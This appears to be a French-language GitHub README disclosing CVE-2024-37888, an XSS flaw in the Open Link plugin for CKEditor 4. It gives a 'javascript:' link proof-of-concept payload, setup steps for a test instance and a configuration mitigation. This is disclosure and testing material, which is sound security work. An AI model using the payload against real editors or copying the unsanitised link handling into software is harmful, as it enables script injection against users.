7ragnarok7/cve-2024-37888XSS PoC/Exploit pour le plugin Open Link pour CKEditor 4
Ce dépôt documente les détails de la vulnérabilité et l'exploit pour CVE-2024-37888, découverte et signalée par Anurag Mondal (7Ragnarok7) le 21 mai 2024.
Cette preuve de concept (POC) démontre l'exploitation d'une vulnérabilité XSS que j'ai récemment découverte dans le plugin Open Link qui, lorsqu'il est activé, affecte directement toutes les versions de CKEditor 4. La faille permet l'exécution de JavaScript via des liens forgés au sein de l'éditeur, que le plugin ne parvient pas à assainir. Cette faille ne peut être exploitée dans la zone de texte que lorsque le plugin Open Link est installé. Le plugin Open Link nous permet d'ouvrir des liens directement dans la zone d'édition.
Cette vulnérabilité peut être testée à partir de l'instance CKEditor préconfigurée disponible ici.
Insérer la charge utile :
Ouvrez l'instance CKEditor et cliquez sur l'icône « Source ».
Insérez la charge utile suivante dans la zone de texte :
<a href="javascript:alert('XSS Found')">XSS</a>
Basculer en mode WYSIWYG :
Déclencher le XSS :
Vous pouvez configurer votre propre instance locale pour tester cette vulnérabilité en suivant les étapes ci-dessous.
Télécharger CKEditor 4 :
Installer le plugin Open Link :
ckeditor/plugins/openlink.
Mettre à jour la configuration pour inclure le plugin OpenLink :
config.js de CKEditor en ajoutant les lignes suivantes à la fin :config.extraPlugins = 'openlink';
config.linkShowTargetTab = false; // Hide link target tab
config.openlink_modifier = 0; // No modifier for opening links
config.openlink_enableReadOnly = true; // Allow links to open in read-only mode
config.js :CKEDITOR.editorConfig = function( config ) {
// Define changes to default configuration here.
config.extraPlugins = 'openlink';
config.linkShowTargetTab = false;
config.openlink_modifier = 0;
config.openlink_enableReadOnly = true;
};
Inclure CKEditor dans le HTML :
<!DOCTYPE html>
<html>
<head>
<script src="path/to/ckeditor/ckeditor.js"></script>
</head>
<body>
<textarea name="editor1" id="editor1"></textarea>
<script>
CKEDITOR.replace('editor1');
</script>
</body>
</html>
Cette vulnérabilité a été découverte dans la base de code du plugin Open Link et non dans la base de code de CKEditor 4. Le POC ci-dessus démontre l'exploitation d'une vulnérabilité XSS via le plugin Open Link dans CKEditor 4.*.*. La faille permet l'exécution arbitraire de JavaScript via des liens spécialement conçus, ce qui représente un risque de sécurité important.
config.disallowedContent = 'a[onclick]';